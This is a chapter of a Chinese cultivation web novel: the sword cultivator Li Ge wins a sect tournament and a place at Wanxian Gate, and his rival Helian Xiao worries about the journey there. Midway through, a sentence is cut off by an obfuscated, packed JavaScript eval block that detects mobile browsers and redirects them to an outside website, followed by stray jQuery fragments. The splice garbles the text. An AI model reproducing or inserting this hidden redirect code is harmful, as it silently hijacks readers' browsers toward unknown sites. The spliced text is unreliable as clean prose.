惊天奇闻,往年被刀修霸占的前五今年居然挤进一个剑修。
众人窃窃私语,在嘀咕他到底是谁。
锐风长老偷偷挺直几分脊背。
没错,他正是老夫的弟子,挂名划掉。
宫傕身侧围着一干小厮侍女,他半躺在榻上似笑非笑,眼神泛着杀意。直到听见少掌门来找他,才收敛了杀意,起身抚平衣服皱痕,神色似寻常般温和儒雅。
至于黎戈,他只是盯着自己的最后对手——依然是个姓赫连的家伙,一上一下地拨动自己的剑,在等对面出手。
他算赫连霄的侄儿辈,但年纪比赫连霄大了快一轮,样貌也不像,他偏雄壮,气势彪悍,一把钢刀舞得威风凛凛,身形跳跃间,本该厚重的刀法居然也显得灵动万分。这倒应了他赫连敏的敏捷之意。
他率先出手,几个呼吸间闪身来到黎戈身侧,一双鹰眼盯着黎戈脑袋,闪着嗜血的光。
黎戈注意到他的眼神,目光一沉,冷笑一声,拔剑出鞘。
四两拨千斤,打偏了赫连敏的刀。
你们姓赫连的都讨厌!
赫连家多出火灵根,这位赫连敏是金火双灵根,刀气搭配金灵力,力道都十倍地反馈到黎戈身上。黎戈面色照常,完全不当回事。
只是在赫连敏发现他是五灵根,面露轻蔑之色时,他才随手搓了个水球一剑打过去,刚好把赫连敏泼成落汤鸡,伤害没有,但侮辱性极强。
赫连敏面色涨的通红,刀法又快了几分。
黎戈这才感到一点儿压迫感,不过也仅此而已。于他而言,赫连敏危险性完全不如秘境里面的妖兽,但倘若他生气就能好战些……
黎戈幽幽看向赫连敏。
接下来的比赛中,他不知道搓了多少个乱七八糟的灵力球,全往赫连敏身上招呼。赫连敏一个核心弟子,何时这般狼狈过,脑袋上又是水又是树叶子,还有几缕毛被火苗燎了。
他脸都快气成猪肝色了,手上的刀一起一落,快到只剩下残影。
差不多了。
黎戈转守为攻,直面和赫连敏对上。
赫连敏的刀快,他的剑锋也不逊色,似银蛇般缠住赫连敏的刀,只消赫连敏一个不留心,剑尖就会从刀法的间隙中闪进去,略略擦过他,留下一道道血痕。
于此同时,他手上的力度也在一点点加重,长生剑愈发凌厉,气势逼人,和比自己宽两倍不止的刀对上也未见逊色,反而显得更加强硬。力度最重的那一剑,居然还把赫连敏的刀砍出一条裂缝。
本命刀出了差错,主人也不会好到那里去,赫连敏喉间一片腥甜,一时失察就被黎戈击飞了刀,漆黑的剑尖点在他喉间。
赫连敏无奈抬手示意认输,黎戈收了剑,退后一两步拱手行礼:“承让了。”
“金丹期大比决赛,剑修黎戈胜!”裁判击鼓后,大声宣布。
黎戈登上榜首台,神色依旧平淡,荣辱不惊。
金丹期由于涉及万仙门的竞争事宜,向来最为重视,连奖品都是掌门亲赐。当赫连明秋带着一群手捧仙果的俊逸男子出现在前五名面前时,身着九章华服,织金蹙银,广袖垂虹,周身的气势未曾全部隐藏,即使只有一丝,黎戈也可以清晰地嗅出其中的血腥气和刀锋霜雪气。
与身着礼服华贵威严的掌门不同,跟在她身后的阮武英低调许多,整个人没在赫连明秋的影子里悄无声息,非相熟者一时还真难以注意,除非同她那双闪着寒芒的灰色眼睛对上——那是双凝视猎物的眼睛。
好强,这是他的第一反应,长生剑发出轻微的嗡鸣声,它似乎在渴望战斗。黎戈轻轻按住剑柄。
现在还不是时候。
在一众感受到压迫而头冒冷汗的弟子中,他的反应最为奇特,反而有几分好斗之意。赫连明秋将他的反应看在眼里,也只是微勾唇角。
阮武英侧目观察到师尊的反应,浅浅看了眼黎戈,没有太大反应。
金丹冠军的奖品是一枚百年的巨灵果,果如其名,灵力丰厚,青色的果实中流淌着点滴光芒,即使站在身边也可以感受到它灵力波动。最重要的是,它可以帮助一个金丹后期的修士完美渡过雷劫,晋级成为元婴期。
多少小门派将它奉为镇宗之宝,也就天和宗这样的宗门会把它拿来当分发名额的彩头。
黎戈双手接过巨灵果,朝掌门拱手谢礼。
这便算成功第一步了。
之后的手续不难但极其繁杂,黎戈五天颠来倒去不知道写了多少报告和申请书,还需要填写万民堂送来的登记竹简。
其实一般情况下,这些都有手底下的人帮忙代劳,只是走个过场而已,奈何黎戈这种杂役弟子直升内门弟子,内门弟子再直升万仙门求学弟子的实数少见,千年来可能也就一例,所以他就只能自己亲自动手,丰衣足食。
好不容易走完全部流程,一个月后,求学名额的公示显示在内门核心的天榜石上,年龄,资历,姓名都一五一十地张贴出来。
今年其他类型的修士比较争气,好歹还是勉强占了三个名额,黎戈一个剑修,叶枫一个器修,还有……
赫连霄一个丹修。
说实在,黎戈看见这个榜单第一反应是暗黑势力侵占普通弟子神圣宝贵的权利,但仔细看后边的备注才意识到什么。
不同于传统丹药,赫连霄获取名额的资格是一张寒霜清脉丹的丹方,主材料正是让众多修士闻风丧胆的九叶寒霄花,只是赫连霄又在丹方中添加适量的炎山灰和溢血草,炎山灰会沸腾血脉,刚好与九叶寒霄花对冲,二者相合会失去大量气血,但误服会导致人体血液过盛爆体而亡的溢血草又补上这一点。
三种在医学丹药界毫无用处的废物草药在排列组合中,摇身一变成了比一般解毒丹功效还要彻底的良药,而且因为那三种草药有剧毒的缘故,再珍贵也贵不到哪里去
这点当初被当铺掌柜甩脸,一副九叶寒霄花就值这个价,你爱当不当的黎戈深有体会。
当然,最重要的在于,这幅丹方的实操是通过的,说明它的理论完全正确,已经可以将这幅寒霜清脉丹用于日常的解毒中。
九叶寒霄花……
黎戈心情极其复杂。
算算时间,所以他当初也算给赫连霄绣嫁衣的下手是吧。
想想也是,除了赫连霄这种急着要花,又不把灵石当回事的公子哥会发布那种烧灵石的任务,正常人也干不出来。
黎戈心情更复杂了,他好像终于理解赫连霄最后一次离开前见鬼的表情是怎么来的。
当初比武台上取胜尚能保持面色平静的黎戈此刻却露出极为懊恼的神情。
为什么会有这种事?
长生剑嗡嗡作响,不同于上回看见掌门时的热血沸腾,此刻的黎戈除了最纯粹的烦躁心情,就没有其他情绪了。
烦死了……
此刻待在自个闲竹居的赫连霄脊背发寒,一连打了好几个喷嚏。他一边整理自己乱七八糟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411721|184620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的手札,一边自言自语:“烦死了,本来就打算此后和那个……那个家伙断了关系,他干嘛也要去万仙门!”
“赫连敏这个家伙平时不是鼻孔朝天最看不起我这种没有继承赫连刀法的二少爷吗,真和人家打起来,不还是那样,和我有什么区别!真要有本事,一脚把那个家伙踹出界线啊……额,算了算了,这个太难了……那也不能被人打得毫无还手之力吧!丢死个人。”
赫连霄重重地把手札往桌上一摔,面色羞恼,打算下回见了赫连敏,管他理不理人,他都要狠狠奚落一番。
他心情不比黎戈的好,之前缠着人家只是单纯犯贱,又惶恐这个世界的真相,现在也同黎戈说的那样,习惯了。
哥哥只会嗯嗯嗯,那就随他去吧,多大点事,他还没有那么容易倒下,赫连家的血脉起码要学几分先祖的豁达豪迈,最起码他得学会直面问题所在,去解决问题。
去万仙门求学是第一步,他早晚要把身边人都给掰正常。
反正他的理论步骤里面没有黎戈这号人。
真是造孽的贼老天。
同一时间,不同地点,两个人不约而同地抬头低骂道。
老天表示我听不见,在风平浪静的半年后,万仙门的仙门再一次开放,天和宗统一安排了飞梭来接送弟子。
赫连霄缠着哥哥动用了一部分特权,把他和黎戈的房安排成最远的两间房,其实如果不是亲娘不同意,他更想自费前往万仙门。
具体对话如下:
“娘,我就不能自己去万仙门吗,我坐不惯(看不惯)宗门的飞梭(某个人)。”
“你路上记得听你哥哥的话,不要惹是生非。”
“娘,我单独去怎么会惹事呢?”
“你路上记得听你哥哥的话,不要惹是生非。”
“……”
一旁的武英姐更不可能说话,只是一味淡笑。
等赫连霄用求助的眼神看向她的时候,阮武音笑着用手比划道:别问我,我只听我师尊的。
行,赫连霄给自己掬一把辛酸泪,捏着鼻子认了这个安排。
最多不过五六天,哥哥也跟在自己身边,他忍便是了。
去万仙门的路途一帆风顺,并无波折。
“霄儿,你不要每天把自己闷房里。”赫连昭日常敲响自家弟弟的房门,赫连霄却是伸手将赫连昭拽进房门,讪笑道:“哥,你陪我手谈几局再说吧。”
他最近老是莫名心悸,恍惚间觉得自己半个身子栽在黄泉里面早已死去,清醒过来时半个额头都是冷汗。
这很不对劲,修士比常人的感官更加敏锐,直觉上的威胁往往都是准确的,赫连霄说不出到底是怎样的危险,和赫连昭说了好几遍,可惜赫连昭却无法理解他的意思,站在原地平静地看着弟弟,完全没有听进去,
赫连霄可不想出师未捷身先死,他的大计才刚刚执行了第一步。为此这五天他绞尽脑汁呆在哥哥身边,要不就是把自己关在房里一步不出。
他心烦意乱,棋下得乱七八糟,没多久就走进死局,棋盘上的白子被黑子杀得毫无还手之力,尽在边边角角的地方苟延残喘。
吧嗒,又一枚黑子落下,白子皆亡。
“啊——”赫连霄心里一沉,直起身惊叫出声。
“霄儿,你输了。”赫连昭道,慢慢收了黑子,丝毫不在意赫连霄的异常。
赫连霄重新瘫坐在椅子上,不明白这究竟是怎么一回事。